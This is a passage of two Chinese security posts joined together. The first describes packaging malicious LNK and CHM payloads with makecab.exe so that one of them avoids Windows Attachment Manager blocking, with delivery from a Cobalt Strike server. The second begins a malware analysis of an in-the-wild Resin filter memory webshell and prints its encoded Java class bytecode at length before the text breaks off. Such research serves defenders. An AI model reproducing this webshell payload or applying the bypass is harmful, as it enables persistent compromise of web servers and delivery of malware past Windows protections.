我决定开始使用内置的makecab.exe命令，以“living off the land”的形势来压缩我的有效载荷。 对于有效载荷，我使用 @
enigma0x3 的 [Create-LNK](https://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&sp=nmt4&tl=zh-CN&u=https://gist.github.com/enigma0x3/167a213eee2e245986a5ca90bab76c6a&usg=ALkJrhjf_PhgKYBu5ukH_7_0uv_uuOC9-Q)
创建了一个恶意的.LNK文件 。 我还从Nishang 项目 中使用 [Out-CHM](https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1)
创建了一个恶意的.CHM文件 。 这些有效内容在Windows附件管理器下载后通常会被阻止。
接下来，我使用makecab.exe压缩这些有效载荷，并托管在我的Cobalt Strike服务器上。
[
现在我的有效载荷被托管并准备下载。 我使用Windows 10 VM和Chrome浏览器来下载和解压缩每个文件。
右键单击每个下载的有效载荷并查看属性，我们可以看到.chm仍然标记为“被阻止”，并且.lnk不是！
[
以下是与sysinternals工具streams64.exe显示的备用数据流（ADS）的区别：
[
如果我执行每个有效载荷，那么在.lnk文件完全执行的时候，应该阻止.chm回到Cobalt Strike服务器。
[
我 不太确定为什么Windows附件管理器在不同的文件类型之间是不一致的。
在这方面肯定有更多的研究要做，但我希望这篇文章能够为维权者和进攻性测试者带来一点意识。
* https：//support.microsoft.com/en-us/help/883260/information-about-the-attachment-manager-in-microsoft-windows | 社区文章 |
# 一枚野生resin filter内存马调试
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在对[java恶意样本调试指南](https://mp.weixin.qq.com/s/yvEHxhsedSwB12PTcQ5aRg)公众号中发布的jsp内存马进行分析之后，发现是一枚野生的`resin
filter`内存马，做为面向`github` 编程的我，还没有找到公开的`resin`内存马，决定细细的盘一下该内存马的逻辑部分。
## 样本说明
String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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bGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoA3gCJDAAjAJsBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgoALgC1DAAMAD8BAAV0b1VSTAEAClNvdXJjZUZpbGUKACUAjAwAMgB7DAAfAFIBAAQoWilWBwCnAQAUamF2YS9pby9TZXJpYWxpemFibGUMAIsAUgEACDxjbGluaXQ+BwANCgDeAIIBAAlnZXRNZXRob2QBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGphdmEvbmV0L1VSSQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgoABgC6BwBzBwDgAQAPT3ZlcmJyaWxsaWFudGx5ACEA3wDXAAAAAgAJAKIAHgAAAAkADwAeAAAAAgABAD0AxQABAGwAAAARAAEAAQAAAAUqtwCssQAAAAAACADWAMUAAQBsAAAL7QAIADAAAAa4ECu9AAI6BgM2BBIBWU62AJE2BRAYPQI8hAEBLRtZHGC2ALwCpwBgGQZfFQSEBAFfUxscYFk8FQWiAAwtG7YAFj2n/9cSA1lOtgCRNgUQFT0CPIQBAS0bWRxgtgC8A6cAJhkGXxUEhAQBX1MbHGBZPBUFogAMLRu2ABY9p//XGQZLpwCbX7YAG1m+XwM2B19aBKMAY1kVB1w0FQcQB3CqAAAAAEQAAAAAAAAABQAAACYAAAArAAAAMAAAADUAAAA6AAAAPxBApwAeEEOnABkQd6cAFBAppwAPEFGnAAoQV6cABRBCgpJVhAcBX1qaAAhcX6f/pl9aFQej/5y7AAJaX7cAbbYAN19XX6oAAP///x4AAAAAAAAAAP///1i4AGG2AD46CBkIKhAUMrYAyzoJGQgqEBsytgDLOgoZCCoIMrYAyzoLGQgqEBcytgDLOgwZCCoQJjK2AMs6DRkJKhAVMgO9AN62ABQZCQO9ANe2AGg6DhkOtgBXKhAiMgO9AN62ABQZDgO9ANe2AGg6DyoQGDI6ECoQCzI6EQE6EhkIKhAHMrYAyzoTGQgqAzK2AMs6FBkTKhAJMgO9AN62ABQZEwO9ANe2AGg6FRkUKhAMMgS9AN5ZAxICU7YAFBkVBL0A11kDGRFTtgBowAAFwAAFOhKnADg6ExkIKhAoMrYAyzoUGRQqEBoyBL0A3lkDEgJTtgAUGRQEvQDXWQMZEVO2AGjAAAXAAAU6EhkIKhApMrYAyyoQIzIHvQDeWQMSAlNZBBIFU1kFsgASU1kGsgASU7YA2DoTGRMEtgAmGRMZCAe9ANdZAxkQU1kEGRJTWQUDuABYU1kGGRK+uABYU7YAaMAA3joUGQq2AFE6FRkKKhAOMgS9AN5ZAxICU7YAFBkVBL0A11kDGRBTtgBoVxkKKhAhMrYAyDoWGRYEtgAaGRYZFRkQtgBEGQoqEBMytgDIOhcZFwS2ABoZFxkVGRS2AEQZD7YAVyoQCjIEvQDeWQMZClO2ABQZDwS9ANdZAxkVU7YAaFcZC7YAU